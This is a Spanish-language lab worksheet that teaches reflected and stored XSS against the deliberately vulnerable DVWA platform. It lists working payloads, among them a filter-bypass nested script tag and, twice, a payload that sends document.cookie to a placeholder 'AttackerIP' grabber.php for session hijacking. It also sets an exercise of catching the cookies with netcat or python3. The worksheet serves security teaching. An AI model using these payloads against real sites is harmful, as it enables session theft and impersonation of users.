Está en la página 1de 6

Práctica 3: Inyecciones XSS.

1. Comprensión de la vulnerabilidad.
En el temario hemos hablado sobre las inyecciones XSS. Hemos dicho que estas permiten
inyectar código JavaScript de lado del cliente/servidor, pero ¿cómo se hace? En esta práctica
aprenderás a hacer un ataque XSS básico. Puesto que hay multitud de formas.

Aquí vemos un esquema del ataque (XSS almacenado).

→ La forma de explotar un XSS es “sencilla” en HTML contamos con la etiqueta <script> la cual
nos permite introducir código JavaScript en esta. Usaremos esta misma etiqueta para el ataque.
Ejemplos de ataques XSS:

• <script>alert('XSS')</script> → Nos saltará una pantalla emergente.


• <scr<script>ipt>alert('XSS')</scr<script>ipt> → Lo mismo que antes pero se salta filtros.
• <script>alert(document.cookie)</script> → Nos dira la cookie en pantalla emergente.
• <script>document.location='http://”AttackerIP”/grabber.php?c='+document.cookie</script>

Este último ejemplo es el más interesante dado que enviará las cookies de sesión a la máquina atacante
para que posteriormente este pueda suplantar al usuario usando esas mismas cookies de sesión.
2. Ejemplo de la explotación XSS (Reflejado).

En esta captura podemos ver que los campos devuelven la misma información que les pasamos, este será
un ejemplo de XSS reflejado (Refleja la información). ¿Qué pasará si introducimos código JS? ¿Lo
interpretará?

→ Vamos a introducir: <script>document.write("Prueba")</script> en el primer campo.

→ Vamos a introducir: <script>document.write("XSS")</script> en el segundo campo.

Este es el resultado:

Document.write permite escribir en el cuerpo de la web, por lo tanto, ha funcionado y es vulnerable


2. Ejemplo de la explotación XSS (Almacenado).

Podemos observar lo que seria una especie de Blog. Aquí la información se almacena en el servidor. El
ataque funciona de la misma forma. Mostraremos un ejemplo.

→ Inyectaremos: <script>document.location='http://”AttackerIP”/grabber.php?c='+document.cookie</script>

Así cada vez que alguien acceda al blog nos enviará la cookie.

Aquí vemos la cookie de sesión:


3. Te toca ahora a ti.

Accede a DVWA (la misma plataforma que la práctica anterior)

Estaremos trabajando
esos módulos

→ Esto te puede ayudar en las practicas.

XSS relflected:

1. Introduce tu nombre en el campo ¿Qué ha pasado?

→ Si introducimos nuestro nombre vemos que se refleja la respuesta en la web.

2. Trata de mostrar una pantalla emergente que ponga tu nombre.

→ Para esto vamos a tratar de inyectar código JavaScript para explotar el XSS. Usaremos las
etiquetas <script></script>. Dentro de estas usaremos la función alert. El código quedaría así:

<script>alert(“Tu nombre”)</script>

→ Si introducimos eso y nos salta un alert significa que habremos explotado con éxito el XSS.
3. ¿Qué ocurre si inyectas código y vuelves a acceder a la página?

→ Si accedemos a la pagina limpiando la url veremos que el código no queda almacenado y no


notaremos nada.

4. Intenta mostrar tu cookie de sesión.

→ Para esto haremos lo mismo que antes pero en lugar de poner nuestro nombre usaremos la
función document.cookie.

<script>alert(document.cookie)</script>

→ De esta forma el alert mostrará las cookies de sesión.

5. Envíate las cookies a un servidor (te lo puedes montar con netcat o python3) (subida de
nota)
XSS Stored:

1. ¿Qué campos son vulnerables a XSS?

→ Si tratamos de inyectar HTML o JavaScript podemos ver que los dos campos son
vulnerables.

2. ¿Qué ocurre si inyectas código y vuelves a acceder a la página?

→ En este caso el código queda almacenado en el servidor y no se puede borrar. Esto es


peligroso porque podemos hacer grandes cambios en la página.

3. ¿Este ataque se almacena en el servidor?


4. Trata de mostrar una pantalla emergente que ponga tu nombre.
5. ¿Crees que estos tipos de ataque tiene mucho impacto?

También podría gustarte